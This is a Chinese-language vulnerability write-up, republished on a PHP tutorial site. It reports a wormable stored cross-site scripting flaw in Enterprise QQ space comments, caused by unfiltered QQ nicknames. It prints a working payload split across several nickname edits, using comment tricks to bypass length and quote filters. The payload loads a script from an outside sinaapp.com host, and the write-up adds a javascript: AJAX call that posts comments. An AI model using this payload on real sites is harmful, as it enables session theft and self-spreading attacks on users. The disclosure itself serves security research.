网站地图    收藏   

主页 > 后端 > 网站安全 >

当注释不在单纯的时候企业QQ空间储存跨站可蠕动

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 业QQ空间新闻详细页面一处跨站,对QQ昵称没有过滤且储存当前昵称造成跨站,貌似腾讯在修复.结合页面上一些功能可蠕动.下面是突破代码.重点:1. 突破长度限制2. 突破单双引号过滤...

业QQ空间新闻详细页面一处跨站,对QQ昵称没有过滤且储存当前昵称造成跨站,貌似腾讯在修复.结合页面上一些功能可蠕动.下面是突破代码.
 
重点:
1. 突破长度限制
2. 突破单双引号过滤
3. 注释原文的一些标签
 
漏洞发现过程.昨天回家蛋疼想去网吧.刚上没多久有个叫(婼瑶美800017570)企业QQ就加我为了好友。哥很是生气.他怎么会知道我QQ的.一直郁闷到回家.回家后打开抓包打开他企业空间--登录.这时抓包发现企业QQ页面的一键登录有个跳转页.里面返回的居然是完全没有过滤的QQ号昵称.当时只是想这里只能弹自己.一转念好不容易挖到个洞,哪能这样放过喃.接下来翻了下企业QQ功能居然有发表评论的.于是带领xss的QQ 昵称立即发表一条评论.果然弹了,很明显储存的.接下来的就是看这昵称是联表查的还是直接储存的.测试结果很乐观.可能开发人员出于性能考虑.此处昵称是同步QQ昵称后储存下来的。
剩下的就是测试回复的过滤情况.这里看似简单.实际上缺少经验的我,是把跨站流程都写好了才想到要测试内容部分的过滤情况.白白浪费了一个小时.苦逼的是之前写的绕过全浪费了.最后发现单双引号都被过滤了.泪奔啊.
下面是最终代码.结合其页面的功能可以做个蠕动.
由于这里的留言是最新的排上面所以js要倒着写
 
最后一步改QQ昵称发表后得到如下 www.2
 
<script>/*    2012.08.15 00:51</p>
        评论内容
 
 倒数第二改QQ昵称发表后得到如下
 
*/a="script";/*
2012.08.15 00:51</p>
评论内容
倒数第三步改QQ昵称发表后得到如下
 
*/b='http://nxxx';/*
2012.08.15 00:51</p>
评论内容
倒数第四步改QQ昵称发表后得到如下
 
*/c='.sinaapp.com';/*
2012.08.15 00:51</p>
评论内容
倒数第5步改QQ昵称发表后得到如下
*/d='/bqq.php';/*
2012.08.15 00:51</p>
在回复中把拼接绕过单双引号和QQ昵称长度限制*/e=document.createElement(a);e.src=b+c+d;document.body.appendChild(e);/*
 
倒数第6步
*/</script>
中间会有1-2次由于js不完全会导致错误.不能打开评论输入框,结合企业QQ空间自己的jquery新闻本页面的浏览器地址栏javascript伪协议绕过来路和各种检测.
nid 是当前文章编号content是发送内容
javascript:$.ajax({url: '/CreateComment.html', type: 'POST', dataType: 'json',data: {nid:'109',content:'1'}})
至此成功弹出.
ps:tx的同学评论功能早上怎么关了.
 
漏洞证明:
最后一步<script>/*
   2012.08.15 00:51</p>
        内容
 
 倒数第二
*/a="script";/*
2012.08.15 00:51</p>
内容
 
倒数第三步
*/b='http://nxxx';/*
2012.08.15 00:51</p>
内容
倒数第四步
*/c='.sinaapp.com';/*
2012.08.15 00:51</p>
内容
倒数第5步
*/d='/bqq.php';/*
2012.08.15 00:51</p>
在回复中把拼接绕过单双引号和QQ昵称长度限制*/e=document.createElement(a);e.src=b+c+d;document.body.appendChild(e);/*
 
倒数第6步
*/</script>



修复方案:

过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论